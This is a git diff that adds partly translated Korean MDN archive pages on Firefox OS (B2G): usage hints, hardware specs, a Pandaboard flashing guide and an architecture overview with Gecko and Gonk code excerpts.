웹 개발자가 제일 이해해야 할 중요한 것은 표현되는 모든 기능 및 앱을 설치 및 실행에 있어 모든 사용자 인터페이스는 웹 기반이라는 것입니다. 사용자 인터페이스에 어떠한 수정을 넣거나 어떠한 애플리케이션을 만드는 모든 일, 특히 모바일 기기의 하드웨어나 서비스에 접근하는 것도 Firefox OS 로 동작하는 웹 페이지입니다.

+

Firefox OS의 빌드나 설치 방법에 대해서는 빌드 및 설치 가이드로 배울 수 있습니다

+

하드웨어 사양

+

Firefox OS는 최신 ARM기반 모바일 기기에서 동작 되도록 포팅 될 것입니다 . 이번 절에서는 Firefox OS가 동작하는 최소/추천 하드웨어 사양에 대해 기술합니다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
구성품최소사양추천 사양
CPUARMv6Cortex A5 class or better
+ ARMv7a with NEON
GPUAdreno 200 class or better
ConnectivityWiFi
+ 3G
SensorsAccelerometer
+ Proximity
+ Ambient light
+ A-GPS
+

각 단말기들은 통일된 색상 프로파일(그래픽 디바이스 드라이버에서 구현되어 제공된)을 제공 해야 하고, 헤드폰은 일시정지/정지해재 및 정지/재생을 지원해야 합니다. 이와 같은기능은 최근 스마트폰에서는 기본적으로 제공되는 기능입니다.

+

사용법 힌트

+

이 섹션에서는 실제로 Firefox OS를 사용할 때의 힌트를 몇개인가 제공합니다. 이것은 우리가 진짜 사용법의 문서를 작성할 때까지의 플레이스홀더 같은 것입니다.

+

스마트폰의 잠금 해제

+

빌드된 Firefox OS의 시작시에 기기의 잠금을 해제하는 비밀번호가 필요한데, 기본 코드는 0000 입니다. 락 스크린의 개발과 테스트를 실시하고 있는 동안은 일부 빌드에서 필요할 수 있습니다.

+

스크린 캡쳐

+

스크린샷의 캡쳐는 매우 간단해서 전원과 home 버튼을 동시에 누릅니다. 스크린샷의 이미지은 기기상의 /sdcard/screenshots 안에 있습니다.

+

만약, 여러 가지 이유로 동작하지 않을 때는 Firefox OS 빌드 시스템을 설치 한 Linux나 Mac OS X 컴퓨터상의 터미널에서 실행하는 것도 가능합니다.

+
    +
  1. ffmpeg를 반드시 설치 해 주십시오. +
      +
    1. Mac 에서는 MacPorts를 사용할 때는 sudo port install ffmpeg를 실행해 주십시오.homebrew를 사용할 때는 brew install ffmpeg 입니다.
    2. +
    3. Linux (Ubuntu/Debian)에서는 sudo apt-get install ffmpeg를 실행해 주십시오.
    4. +
    +
  2. +
  3. 스마트폰과 컴퓨터는 USB 케이블을 사용해 접속합니다.
  4. +
  5. 스마트폰을, screen shot를 찍고 싶은 상황으로 합니다.
  6. +
  7. cdB2G/gaia 디렉토리로 이동합니다.
  8. +
  9. make screenshot
  10. +
  11. screenshot.png 라는 이름으로, screen shot가 찍히고 있을 것입니다.
  12. +
+

버튼과 컨트롤

+

일반적인 Firefox OS는 물리적인 버튼 몇개를 기본적 필요로 합니다.

+
+
+ 홈버튼
+
+ 이 버튼은 보통 화면의 가운데 아래에 위치합니다. 이 버튼을 선택하면 앱 런처로 갈수 있습니다. 이 버튼을 길게 누르고 있으면 카드 스위칭 뷰를 보여줍니다; 이때 나타나는 앱들을 위로 끌어 올리면 해당 앱은 종료됩니다.
+
+ 볼륨 조정 버튼
+
+ 왼쪽편에 볼륨 버튼이 있습니다; 이 버튼 윗쪽부분은 볼륨을 증가하고, 아래쪽은 볼륨을 낮추게 됩니다.
+
+ 전원 버튼
+
+ 전원 버튼은 단말기의 왼쪽 위에 위치 합니다.
+
diff --git a/files/ko/archive/b2g_os/pandaboard/index.html b/files/ko/archive/b2g_os/pandaboard/index.html new file mode 100644 index 0000000000..af65fd2a0e --- /dev/null +++ b/files/ko/archive/b2g_os/pandaboard/index.html @@ -0,0 +1,36 @@ +--- +title: Pandaboard +slug: Archive/B2G_OS/Pandaboard +translation_of: Archive/B2G_OS/Pandaboard +--- +

이 문서는 PandaBoard에 Firefox OS 올리기 위한 가이드 입니다. PandaBoard는 모바일 운영 체제를 개발하기위한 저가의 OMAP 4 기반의 개발 보드입니다.

+

이 가이드는 SD card가 최소 4 GB의 사용 가능 용량이 있다고 가정합니다.

+

Format the SD card

+

OMAPpedia 가이드를 참조하여 SD card를 Format하세요.

+

USB communication

+

usb를 인식하기 위하여 다음 단계를 따르세요. B2G를 위해 file의 mode 부분을 "0666"으로 사용하는 것이 안전합니다.

+

Verify that the pandaboard is accessible by plugging it in to your computer using USB, and running:

+
lsusb
+

If you see something from Texas Instruments, then you found your pandaboard! If not, I found luck by unplugging all the wires, and only connecting the pandaboard to USB.

+

Building and flashing

+

After configuring for the pandaboard, we now pull in Negatus. This is an agent that runs on the device and can help automate/debug it. Negatus will build itself automatically after you run ./build.sh, but you need to install libnspr(apt-get install libnspr4-dev). After building the image, then tricky part is flashing it onto your pandaboard.

+

Try to follow instructions here, up to and including 'Initial setup, part 3'. You can skip 'Initial setup, part 1' which has been done during the build step. After completing 'Initial setup, part 3' return here.

+

Now you're free to run the ./flash.sh command, and hopefully all will be well. If the flash.sh script tries to erase the userdata partition, remove that line. It's a known issue listed in the instructions.

+

After flashing is complete you may need to manually reboot the machine by unplugging the usb and power cords and plugging them back in (power cord should be plugged in first).

+

Here are the work arounds for known issues:

+

"waiting for OMAP4XXX..." when trying to use usbboot

+

If you see this message, then unplug all cables from the pandaboard. Only plug in the pandaboard via USB. Do not connect power. Try now, and run usbboot as sudo.

+

Fastboot errors while flashing

+

If you're having trouble running commands in fastboot, I found success after running them with sudo (ie: sudo <fastboot command...>)

+

Also, if you have trouble getting your pandaboard into fastboot mode (ie: no devices listed if you do a fastboot devices call), then you can:

+
    +
  1. Unplug all the things from the pandaboard
  2. +
  3. Hold down the GPIO button
  4. +
  5. Plug in the power while still holding the button
  6. +
  7. Watch the solid status light, and once the light starts to flash, let go of the GPIO button
  8. +
+

This will put the pandaboard into fastboot mode.

+

Can't connect to adb

+

If you see the device in lsusb, but not in adb/fastboot devices and the lights are off, then remove the power source and plug it back in. If the lights are on, you may need to wait a while (30seconds max) for it to be registered on adb.

+

Sometimes, flashing will claim to be successful, but it isn't. Reflash the pandaboard (ie: run ./flash.sh) and try again. I recommend plugging in power first, and then plugging in the usb cable

+

If you get on adb devices "??????????? no permision", even as root, check the section "Configuring USB Access" on this site and correct or add the right udev rules. Don't forget to restart the udev service after the changes.

diff --git a/files/ko/archive/b2g_os/phone_guide/index.html b/files/ko/archive/b2g_os/phone_guide/index.html new file mode 100644 index 0000000000..4ac9688347 --- /dev/null +++ b/files/ko/archive/b2g_os/phone_guide/index.html @@ -0,0 +1,6 @@ +--- +title: Boot to Gecko 개발자 단말기 가이드 +slug: Archive/B2G_OS/Phone_guide +translation_of: Archive/B2G_OS/Phone_guide +--- +

B2G개발용 단말기를 가지고 있거나, B2G가 설치된 단말기를 가지고 있을경우, 이를 사용하기 위한 기본적인 설명은 다음 링크를 참고 하세요: Firefox OS로 동작하는 단말기에 대한 기본적인 안내서. Mozilla에서는 아직 이에 대해 개선작업을 진행 중이며, 곧 좀더 간결한 설명을 MDN사이트를 통해 제공 할 것입니다. Firefox OS를 빌드하고 단말기에 넣고 싶다면, 다음 링크를 참고 하세요; 'Firefox OS를 빌드하여 단말기에 올리기'.

diff --git a/files/ko/archive/b2g_os/platform/architecture/index.html b/files/ko/archive/b2g_os/platform/architecture/index.html new file mode 100644 index 0000000000..0f34ac448b --- /dev/null +++ b/files/ko/archive/b2g_os/platform/architecture/index.html @@ -0,0 +1,532 @@ +--- +title: Firefox OS architecture +slug: Archive/B2G_OS/Platform/Architecture +translation_of: Archive/B2G_OS/Architecture +--- +

 

+ +
+

초안
+ 이 문서는 작성중입니다.

+
+ +

 

+ +

이 (게시)글은 Firefox OS platform의 구조(architecture)에 대한 고차원적인 개요이며, 주요 개념을 소개하고 구성요소들이 기본레벨에서 어떻게 상호동작 하는지를 설명합니다. 기술적인 레벨에서 어떻게 동작하는지의 복잡한 사항을 알려주지는 않습니다; 각각의 See also 섹션으로부터 참조된 글들을 보시기 바랍니다.

+ +
+

Note: Firefox OS는 이직 정식배포 전의 상품임을 유념해 주십시오. 여기에 설명된 구조(architecture)는 반드시 최종이라 할 수 없으며 변경될 수 있습니다.

+
+ +

Firefox OS 용어

+ +

이 문서를 이해하기 전에 알 필요가 있는 몇 가지 용어가 있습니다.

+ +
+
B2G
+
Boot to Gecko의 약어.
+
Boot to Gecko
+
전체적인 Firefox OS 프로젝트에 대한 코드명입니다. 프로젝트가 공식명칭을 갖기 오래 전 부터 사용되었기 때문에, Firefox OS를 나타내는 용어로 이 용어가 사용되는 것을 볼 수 있습니다.
+
Gaia
+
Firefox OS platform의 사용자 인터페이스. Firefox OS가 구동된 후에 화면에 표시되는 것들은 Gaia 층에서 생성된 것 입니다. Gaia는 최신의 스마트폰에서 기대할 수 있는 잠금 화면, 홈 화면, 그리고 모든 표준화된 어플리케이션들을 구현하고 있습니다. Gaia는 전적으로 HTML, CSS와 JavaScript로 구현되었습니다. 내부의 OS와의 유일한 인터페이스는 개방된 Web API들을 통해 이루어 집니다. 이는 Gecko 층(layer)에 구현되어 있습니다. 제 3자가 개발한 어플리케이션들은 Gaia 층에 나란히 설치될 수 있습니다.
+
Gecko
+
Firefox OS 어플리케이션 런타임; 즉, 공개된 표준의 3가지 펙터(HTML, CSS, JavaScript)에 대한 모든 지원을 제공합니다. Gecko가 지원하는 모든 운영체제상에서 관련 API들이 제대로 동작하는 것을 보장합니다. 이는 Gecko가 다른 여러가지 중에서도, 네트워킹 스택, 그래픽 스펙, 배치(layout) 엔진, JavaScript 버추얼 머신과 포팅 레이어들을 포함하고 있다는 것을 의미합니다.
+
Gonk
+
Gonk는 Firefox OS 플랫폼의 더 낮은 레벨의 운영체제로, (안드로이드 오픈 소스 프로젝트, Android Open Source Project (AOSP)를 기반으로 하는)리눅스 커널과 유저공간의 하드웨어 추상 계층(Userspace Hardware adstraction layer:HAL)로 구성되어 있습니다. 커널과 여러개의 라이브러리들은 일반적인 오픈 소스 프로젝트들(리눅스, libusb, bluz 등)입니다. HAL의 또 다른 부분들은 안드로이드 프로젝트(GPS, camera 등)과도 공유됩니다. Gonk는 아주 간단한 리눅스라 할 수 있습니다. Gecko는 Gonk에 포팅됩니다; 마치, Gecko가 Mac OS X, Windows와 Android에 포팅되듯이 Gecko는 Gonk에 포팅됩니다. Firefox OS 프로젝트는 Gonk에 대한 전반적인 통제를 가지고, 다른 운영체제에 대한 노출되지 않는 Gecko에 대한 인터페이스들을 노출시킬 수 있습니다. 예를 들어, Gecko는 전반적인 텔레포니 스택과 Gonk상의 디스플레이 프레임 버퍼에 대한 직접적인 접근이 가능하지만, 다른 운영체제로의 이러한 접근은 가능하지 않습니다.
+
 
+
Firefox OS Architecture
+
+ +

부트스트래핑 프로세스

+ +

맨 처음, Firefox OS를 구동하면, 첫 번째 부트로더부터 실행 하기 시작 합니다. 여기서부터, 일반적인 방법으로 주 운영체제를 불러오는 과정을 진행 합니다. 점진적으로 높은 레벨의 부트로더들을 연속으로 두어서 다음 로더를 연속적으로 부트스트래핑 합니다. 이 단계의 마지막에서, Linux Kernel로 실행이 넘어갑니다.

+ +

부팅 프로세스에 대해 별 의미 없는 몇 가지 사항이 있습니다.

+ + + +

리눅스 커널

+ +

Gonk가 사용하는 리눅스 커널(들)은 리누스 토발즈와 세계의 해커들이 함께 개발하고 있는 업스트림의 리눅스로부터 만들어졌으며, 거의 똑같습니다. 다만 안드로이드 오픈 소스 프로젝트 로부터 만들어지고 아직 업스트림에 들어가지 않은 변경사항들을 가지고 있습니다. 또한, vendor들이 가끔 커널을 수정하며, 이 경우 그들은 그들 자체적 스케쥴로 업스트림에 변경 사항을 올립니다. 그렇지만 일반적으로 말하면 Gonk가 사용하는 리눅스 커널은 오리지날 리눅스와 거의 같다고 이야기 할 수 있습니다.

+ +

리눅스 구동 시작 과정 은 인터넷 상에 잘 문서화 되어 있으므로, 이 글에서는 그것까지 다루지는 않겠습니다. 구동 시작 과정의 마지막에, 대부분의 UNIX류 운영체제가 그러하듯이 userspace의 init 프로세스가 시작됩니다. 이 시점에서 마운트된 "disk"는 RAM disk 뿐입니다. 이 RAM disk는 Firefox OS 빌드 과정에서 만들어 졌으며, init나 시작 과정 스크립트들이나 로드할 수 있는 커널 모듈들과 같은 중요한 유틸리티들을 가지고 있습니다.

+ +

일단 init 프로세스가 시작되면, 리눅스 커널은 userspace 공간으로부터의 시스템 콜, 인터럽트, 하드웨어 기기로부터의 비슷한 요청들을 처리합니다. 많은 하드웨어 기능이 userspace에 sysfs를 통해 노출됩니다. 예를 들어, 다음 코드 조각은 Gecko에서 배터리 상태를 읽기 위해 사용됩니다:

+ +
FILE *capacityFile = fopen("/sys/class/power_supply/battery/capacity", "r");
+double capacity = dom::battery::kDefaultLevel * 100;
+if (capacityFile) {
+  fscanf(capacityFile, "%lf", &capacity);
+  fclose(capacityFile);
+}
+ +

init 프로세스

+ +

Gonk의 init 프로세스는 필요한 파일 시스템들을 마운트 하고 시스템 서비스들을 시작하는 일을 처리합니다. 이 일들의 처리 후에는 프로세스 매니저로 역할하게 됩니다. 이것은 다른 UNIX류 운영체제들에서의 init와 매우 비슷합니다. 먼저 다양한 서비스들을 시작시키기 위해서 필요한 명령들을 가지고 있는 스크립트들(init*.rc 파일들)을 수행합니다. Firefox OS의 init.rc 는 오리지날 안드로이드의 init.rc 에서 Firefox OS를 시작하는데 필요한 것들을 좀 추가한 형태이며, 기기에 따라 조금씩 다를 수 있습니다.

+ +

init 프로세스가 하는 가장 중요한 작업 중 하나는 b2g 프로세스를 시작시키는 것입니다; 이게 Firefox OS 운영체제의 중심입니다.

+ +

b2g를 시작시키는 init.rc의 코드는 다음과 같은 식입니다:

+ +
service b2g /system/bin/b2g.sh
+    class main
+    onrestart restart media
+ +

안드로이드의 init.rc에서 b2g 프로세스를 시작시키기 위한 코드가 추가된 init.b2g.rc 파일을 보는 것도 좋을 겁니다.

+ +
+

Note: 정확히 init.rc 가 안드로이드 버전과 얼마나 다른가는 실제 기기마다 다릅니다; 어떤 기기의 경우는 단지 init.b2g.rc 가 추가되어 있을 뿐이고, 어떤 기기는 그보다 더 많은 변경이 있을 수 있습니다.

+
+ +

사용자 영역(userspace) 프로세스 구조

+ +

Firefox OS의 많은 구성 요소들이 어떻게 서로 상호 동작하는지 상위 레벨에서 살펴보겠습니다. 이 그림은 Firefox OS의 주요 사용자 프로세스들을 보여줍니다.

+ +

Userspace diagram

+ +
+

Note: Firefox OS는 활발히 개발되고 있기 때문에, 이 그림은 변경 될 수 있습니다. 또한 본 그림이 포함하는 내용 중 일부가 올바르지 않을 수도 있습니다.

+
+ +

b2g 프로세스는 가장 중요한 시스템 프로세스입니다. b2g 프로세스는 높은 권한으로 실행되기 때문에 대부분의 하드웨어 기기에 접근할 수 있습니다. b2g는 modem과의 통신이 가능하며, display framebuffer에 접근할 수 있습니다. 그리고 GPS, camera 및 다른 하드웨어와 통신이 가능합니다. b2g는 내부적으로 Gecko layer (libxul.so으로 구현됨)를 실행합니다. 어떻게 Gecko layer가 동작하며, b2g와 통신하는지 알고 싶다면 Gecko를 참고하세요.

+ +

b2g

+ +

b2g 프로세스는 낮은 권한을 가진 다수의 content process 들을 생성할 수 있습니다. 이 프로세스에 web application과 web content이 적재되며, main Gecko server와 메시지-패싱 시스템인 IPDL을 이용하여 통신합니다.

+ +

rild

+ +

rild 프로세스는 모뎀 프로세서와의 인터페이스 입니다. rildRadio Interface Layer (RIL)를 구현한 daemon입니다. 이 코드는 하드웨어 vendor가 해당 vendor의 모뎀 하드웨어와 통신하기 위해 구현한 것입니다. rild은 client code를 unix-domain socket에 연결해 줍니다. rild은 다음 init 스크립트를 통해 시작됩니다.

+ +
service ril-daemon /system/bin/rild
+    socket rild stream 660 root radio
+ +

rilproxy

+ +

Firefox OS에서 rild client는 rilproxy 프로세스입니다. rilproxy 프로세스는 rildb2g사이에서 dumb forwarding proxy처럼 동작합니다. 이 proxy는 implementation detail이 필요한 상태 입니다. rilproxy 코드는 GitHub에서 확인할 수 있습니다.

+ +

mediaserver

+ +

mediaserver process 는 오디오와 비디오 재생을 제어합니다. Gecko는 원격 절차 호출(Remote Procedure Call, RPC) 메커니즘을 통해 이와 통신합니다. 미디어들 중 Gecko가 재생할 수 있는 것들(OGG Vorbis audio, OGG Theora video, and WebM video)은 Gecko에 의해서 해독(decode)되며 직접 mediaserver 프로세스로 전달됩니다. 이외의 다른 미디어 파일들은 다른 외부 코덱과 하드웨어 인코더에 접근할 수 있는 libstagefright에 의해 해독됩니다.

+ +
+

Note: mediaserver 프로세는 Firefox OS의 "임시" 구성요소입니다. 이 프로세스는 초기 개발 업무를 위해서 사용되었으며, 최종적으로는 사용하지 않을 예정입니다. 하지만 최소한 Firefox OS 2.0까지는 사용 할 것입니다.

+
+ +

netd

+ +

netd 프로세스는 네트워크 인터페이스의 설정 조정(configure)에 사용합니다.

+ +

wpa_supplicant

+ +

wpa_supplicant 프로세스는 WiFi 액세스 포인트와의 연결을 처리하는 표준 UNIX 스타일 데몬입니다.

+ +

dbus-daemon

+ +

dbus-daemon은 FirefoxOS가 블루투스 통신을 위해 사용하는 메시지 버스 시스템인 D-Bus를 동작시킵니다.

+ +

Gecko

+ +

앞서 언급했듯이, Gecko는 사용자가 Firefox OS에서 볼 수 있는 모든 것을 구현할때 사용하는 웹 표준들(HTML, CSS, JavaScript)의 구현입니다.

+ +

입력 이벤트 처리 (Processing input events)

+ +

대부분의 Gecko 동작은 사용자의 동작에 의해 발생합니다. 이런 사용자의 동작들을 입력 이벤트라고 부릅니다. 이런 입력 이벤트로는 버튼을 누른다던지, 터치 스크린을 가진 기기를 터치 한다던지 하는 동작들을 예로 들 수 있습니다. 이런 이벤트들은 Gecko의 주요 진입점인 nsIAppShellGonk 구현부를 통해서 Gecko로 들어오게 됩니다. 즉, 입력 장치 드라이버는 이벤트를 사용자 인터페이스로 보내기 위해 Gecko의 하위 시스템을 대신하는 nsAppShell 객체의 메소드들을 호출합니다.

+ +

예를 들면:

+ +
void GeckoInputDispatcher::notifyKey(nsecs_t eventTime,
+                                     int32_t deviceId,
+                                     int32_t source,
+                                     uint32_t policyFlags,
+                                     int32_t action,
+                                     int32_t flags,
+                                     int32_t keyCode,
+                                     int32_t scanCode,
+                                     int32_t metaState,
+                                     nsecs_t downTime) {
+  UserInputData data;
+  data.timeMs = nanosecsToMillisecs(eventTime);
+  data.type = UserInputData::KEY_DATA;
+  data.action = action;
+  data.flags = flags;
+  data.metaState = metaState;
+  data.key.keyCode = keyCode;
+  data.key.scanCode = scanCode;
+  {
+    MutexAutoLock lock(mQueueLock);
+    mEventQueue.push(data);
+  }
+  gAppShell->NotifyNativeEvent();
+}
+ +

이 이벤트들은 표준 리눅스 input_event 시스템으로부터 전달되는 것입니다. Firefox OS는 이벤트 필터링 기능을 제공하는light abstraction layer를 그 이벤트 위에 사용합니다. widget/gonk/libui/EventHub.cpp 코드를 보면 EventHub::getEvents()메소트 안에서 입력 이벤트를 생성하는 것을 확인할 수 있습니다.

+ +

Gecko가 위 이벤트들을 수신하면, 이벤트들은 아래의 nsAppShell에 의해 DOM으로 보내지게 됩니다.

+ +
static nsEventStatus sendKeyEventWithMsg(uint32_t keyCode,
+                                         uint32_t msg,
+                                         uint64_t timeMs,
+                                         uint32_t flags) {
+    nsKeyEvent event(true, msg, NULL);
+    event.keyCode = keyCode;
+    event.location = nsIDOMKeyEvent::DOM_KEY_LOCATION_MOBILE;
+    event.time = timeMs;
+    event.flags |= flags;
+    return nsWindow::DispatchInputEvent(event);
+}
+
+ +

그 이후에, 그 이벤트들은 Gecko에 의해 사용되거나 DOM events로서 이후 처리를 위해 웹 어플리케이션들로 전달됩니다.

+ +

 

+ +

그래픽 (Graphics)

+ +

가장 저차원 레벨에서 봤을 때, Gecko는 하드웨어 프레임 버퍼들을 감싸는(wrap) GL 컨텍스트에 접근하기 위해서 OpenGL ES 2.0을 사용합니다. 이러한 동작은 Gonk의 nsWindow의 다음과 비슷한 코드로 구현합니다.

+ +
gNativeWindow = new android::FramebufferNativeWindow();
+sGLContext = GLContextProvider::CreateForWindow(this);
+ +

FramebufferNativeWindow 클래스는 Android의 것을 그대로 차용하였습니다(FramebufferNativeWindow.cpp를 참고). 이 클래스는 프레임 버퍼 기기의 버퍼들과 메모리를 매핑하기 위해 그래픽스 드라이버에 접근하는데, 이 때 gralloc API를 사용합니다.

+ +

Gecko는 Layers 시스템을 이용하여 그려진 내용을 화면에 합성합니다. 이를 위한 과정은 다음과 같이 요약할 수 있습니다:

+ +
    +
  1. Gecko는 각각의 독립된 영역들을 메모리 버퍼에 그립니다. 때때로 이 버퍼들은 시스템 메모리에 있을 수 있습니다. 또 다른 경우에 이것들은 Gecko의 주소 공간에 맵핑된 텍스처(texture)들 일 수도 있습니다. 다시 말하자면, Gecko가 비디오 메모리에 직접 영역을 그린다는 것을 의미합니다. 이 동작은 일반적으로 BasicThebesLayer::PaintThebes()에 의해서 이루어 집니다.
  2. +
  3. Gecko는 OpenGL 명령들을 이용하여 모든 texture들을 화면에 합성합니다. 이 합성 과정은 ThebesLayerOGL::RenderTo()에서 일어나게 됩니다.
  4. +
+ +

Gecko가 웹 컨텐츠 렌더링을 어떻게 처리하는지에 대한 자세한 내용은 이 문서의 범위 밖의 내용입니다.

+ +

하드웨어 추상화 계층 (Hardware Abstraction Layer, HAL)

+ +

Gecko의 하드웨어 추상화 계층(Hardware Abstraction Layer, HAL)은 Gecko의 이식 계층(porting layer) 중 하나 입니다. 이것은 Gecko의 상위 계층에 접근이 쉬운 C++ API를 이용하여, 다양한 플랫폼에 대한 시스템 인터페이스로의 저수준 접근을 처리합니다. 이 API들은 Gecko HAL 내부에 플랫폼 단위(per-platform basis)로 구현되어 있습니다. 이 하드웨어 추상화 계층은 Gecko 내부의 JavaScript 코드를 통해 직접 접근할 수 없습니다.

+ +

HAL의 동작

+ +

Vibration를 예로 들어 살펴보겠습니다. 이 API를 위한 Gecko의 HAL은 hal/Hal.h에 정의되어 있습니다. 본질적으로 (명확성을 위해서 간략하게 표현하면), 이러한 함수가 있습니다.

+ +
void Vibrate(const nsTArray<uint32> &pattern);
+ +

이 함수는 Gecko code에 의해 명시된 패턴대로 기기의 진동을 켜기 위해 호출되며, 이에 대응되는 함수는 울리고 있는 진동을 끄기 위해 존재합니다. 이 함수의 Gonk 구현은 hal/conk/GonkHal.cpp에 있습니다:

+ +
void Vibrate(const nsTArray<uint32_t> &pattern) {
+  EnsureVibratorThreadInitialized();
+  sVibratorRunnable->Vibrate(pattern);
+}
+
+ +

이 코드는 기기에 진동의 시작을 위한 요청을 다른 쓰레드(VibratorRunnable::Run()에 구현되어 있습니다)에 전송합니다. 해당 쓰레드의 메인 루프는 다음과 같습니다:

+ +
while (!mShuttingDown) {
+  if (mIndex < mPattern.Length()) {
+    uint32_t duration = mPattern[mIndex];
+    if (mIndex % 2 == 0) {
+      vibrator_on(duration);
+    }
+    mIndex++;
+    mMonitor.Wait(PR_MillisecondsToInterval(duration));
+  }
+  else {
+    mMonitor.Wait();
+  }
+}
+
+ +

vibrator_on() 은 진동기 모터를 켜는 Gonk HAL API 입니다. 내부적으로, 이 메소드는 sysfs를 이용하여 커널 객체에 값을 씀으로써 커널 드라이버에 메시지를 전송하게 됩니다.

+ +

대체 HAL API 구현 (Fallback HAL API implementations)

+ +

Gecko의 HAL API 들은 모든 플랫폼을 지원합니다. Gecko가 진동 모터에 대한 인터페이스를 지원하지 않는 플랫폼(예를 들면 데스크탑 컴퓨터)을 위해 빌드 될 경우, HAL API의 대체 구현(fallback implementation)이 사용됩니다. 진동을 위한 대체 구현은 hal/fallback/FallbackVibration.cpp에서 찾을 수 있습니다.

+ +
void Vibrate(const nsTArray<uint32_t> &pattern) {
+}
+ +

Sandbox 구현 (Sandbox implementations)

+ +

대부분의 web content들이 낮은 권한의 컨텐트 프로세스에서 동작하기 때문에, 이 프로세스들은 진동 모터를 켜고 끄는 것(예를 들면)과 같은 권한을 가지고 있지 않다고 할 수 있습니다. 게다가, 잠재적인 경쟁 상태(race condition)를 처리할 수 있도록, 중앙 처리 위치(a central location을 의역하였습니다)가 필요합니다. Gecko의 HAL에서는 이러한 동작이 "sandbox"를 통해 이루어 집니다. 이 sandbox는 컨텐트 프로세스의 요청들을 대신 처리하고 그 요청들을 "Gecko server" 프로세스로 전송합니다. 이러한 대리 요청들은 IPDL을 이용하여 전송됩니다.

+ +

진동을 위해서는 hal/sandbox/SandboxHal.cpp에 있는 Vibrate() 함수에 의해 처리됩니다:

+ +
void Vibrate(const nsTArray<uint32_t>& pattern, const WindowIdentifier &id) {
+  AutoInfallibleTArray<uint32_t, 8> p(pattern);
+
+  WindowIdentifier newID(id);
+  newID.AppendProcessID();
+  Hal()->SendVibrate(p, newID.AsArray(), GetTabChildFrom(newID.GetWindow()));
+}
+ +

이 함수는 hal/sandbox/PHal.ipdl에 서술 된 PHal 인터페이스에 의해 정의되는 메시지를 전송합니다. 이 메소드는 대략 다음과 같이 서술되어 있습니다:

+ +
Vibrate(uint32_t[] pattern);
+ +

이 메시지의 수신단은 hal/sandbox/SandboxHal.cpp에 있는 HalParent::RecvVibrate() 메소드이며 이와 같습니다:

+ +
virtual bool RecvVibrate(const InfallibleTArray<unsigned int>& pattern,
+            const InfallibleTArray<uint64_t> &id,
+            PBrowserParent *browserParent) MOZ_OVERRIDE {
+
+  hal::Vibrate(pattern, newID);
+  return true;
+}
+ +

이것은 현재 주제와 관련이 없는 세부사항을 제거한 상태입니다. 하지만 이를 통해 컨텐트 프로세스에서 발생한 메시지가 Gecko부터 Gonk, Vibrate()의 Gonk HAL 구현부, 그리고 최종적으로 그래픽 드라이버까지 전달되는 과정을 보여줍니다.

+ +

DOM APIs

+ +

DOM 인터페이스는 웹 컨텐트가 Gecko와 통신하는 방법입니다. 만약 더 자세한 내용에 대해 관심이 있다면, 여기를 참고하세요. DOM 인터페이스는 IDL로 정의됩니다. IDL은 자바스크립트와 C++ 사이의 외래 함수 인터페이스(Foreign Function Interface, FFI)와 객체 모델(Object Model, OM)로 구성됩니다.

+ +

vibrartion API는 IDL 인터페이스(nsIDOMNavigator.idl)를 통해 web content에서 접근할 수 있습니다:

+ +
[implicit_jscontext] void mozVibrate(in jsval aPattern);
+ +

jsval 인자는 mozVibrate()(아직 확정되지 않은 vibration 명세를 Mozilla가 구현한 것)가 자바스크립트 값을 입력으로 받아들일 수 있다는 것을 나타냅니다. IDL 컴파일러(xpidl)는 이후에 Navigator 클래스(Navigator.cpp)에서 구현될 C++인터페이스를 만듭니다.

+ +
NS_IMETHODIMP Navigator::MozVibrate(const jsval& aPattern, JSContext* cx) {
+  // ...
+  hal::Vibrate(pattern);
+  return NS_OK;
+}
+ +

원래는 위에서 보시는 것보다 훨씬 더 많은 코드가 있지만, 현재 이 문서의 목적을 벗어나는 부분입니다. 중요한 점은 hal::Vibrate()를 호출하게 되면 control이 DOM으로부터 Gecko HAL로 이동하게 된다는 것입니다. 거기서부터 이전 섹션에서 이야기한 HAL 구현부에 진입하며, 그래픽 드라이버 방향으로 작업이 진행되게 됩니다. 최상위 레벨에서 보면, DOM 구현부는 자신이 어떤 플랫폼(Gecko, Windows, Mac OS X 등)에서 동작하는지 상관하지 않습니다. 또한 DOM은 자신이 컨텐트 프로세스에서 동작하든 Gecko 서버 프로세스에서 동작하는지 고려하지도 않습니다. 위와 같이 상세한 부분들은 시스템의 하위 계층이 관장하게 됩니다.

+ +

vibration API는 예로 쓰기에 좋은 아주 단순한 API입니다. 이에 비해, SMS API는 컨텐트 프로세스들을 서버에 연결할 때 자신이 가진 "remoting" 계층을 이용하는 좀 더 복잡한 API라고 할 수 있습니다.

+ +

Radio Interface Layer (RIL)

+ +

RIL에 대해서는 사용자 영역(userspace) 프로세스 구조 섹션에서 간단하게 설명하였습니다. 이 섹션에서는 RIL을 구성하는 여러 부분들이 어떻게 상호작용하는지 좀 더 자세하게 살펴 보겠습니다.

+ +

RIL과 관련있는 주요 요소(component)들은 다음과 같습니다:

+ +
+
rild
+
모뎀 펌웨어와 통신하는 데몬입니다.
+
rilproxy
+
The daemon that proxies messages between rild and Gecko (which is implemented in the b2g process). This overcomes the permission problem that arises when trying to talk to rild directly, since rild can only be communicated with from within the radio group.
+
b2g
+
This process, also known as the chrome process, implements Gecko. The portions of it that relate to the Radio Interface Layer are dom/system/gonk/ril_worker.js (which implements a worker thread that talks to rild through rilproxy and implements the radio state machine; and the nsIRadioInterfaceLayer interface, which is the main thread's XPCOM service that acts primarily as a message exchange between the ril_worker.js thread and various other Gecko components, including the Gecko content process.
+
Gecko's content process
+
Within Gecko's content process, the nsIRILContentHelper interface provides an XPCOM service that lets code implementing parts of the DOM, such as the Telephony and SMS APIs talk to the radio interface, which is in the chrome process.
+
+ +

Example: Communicating from rild to the DOM

+ +

Let's take a look at an example of how the lower level parts of the system communicate with DOM code. When the modem receives an incoming call, it notifies rild using a proprietary mechanism. rild then prepares a message for its client according to the "open" protocol, which is described in ril.h. In the case of an incoming call, a RIL_UNSOL_RESPONSE_CALL_STATE_CHANGED message is generated and sent by rild to rilproxy.

+ +

rilproxy, implemented in rilproxy.c, receives this message in its main loop, which polls its connection to rild using code like this:

+ +
ret = read(rilproxy_rw, data, 1024);
+
+if(ret > 0) {
+  writeToSocket(rild_rw, data, ret);
+}
+ +

Once the message is received from rild, it's then forwarded along to Gecko on the socket that connects rilproxy to Gecko. Gecko receives the forwarded message on its IPC thread:

+ +
int ret = read(fd, mIncoming->Data, 1024);
+// ... handle errors ...
+mIncoming->mSize = ret;
+sConsumer->MessageReceived(mIncoming.forget());
+
+ +

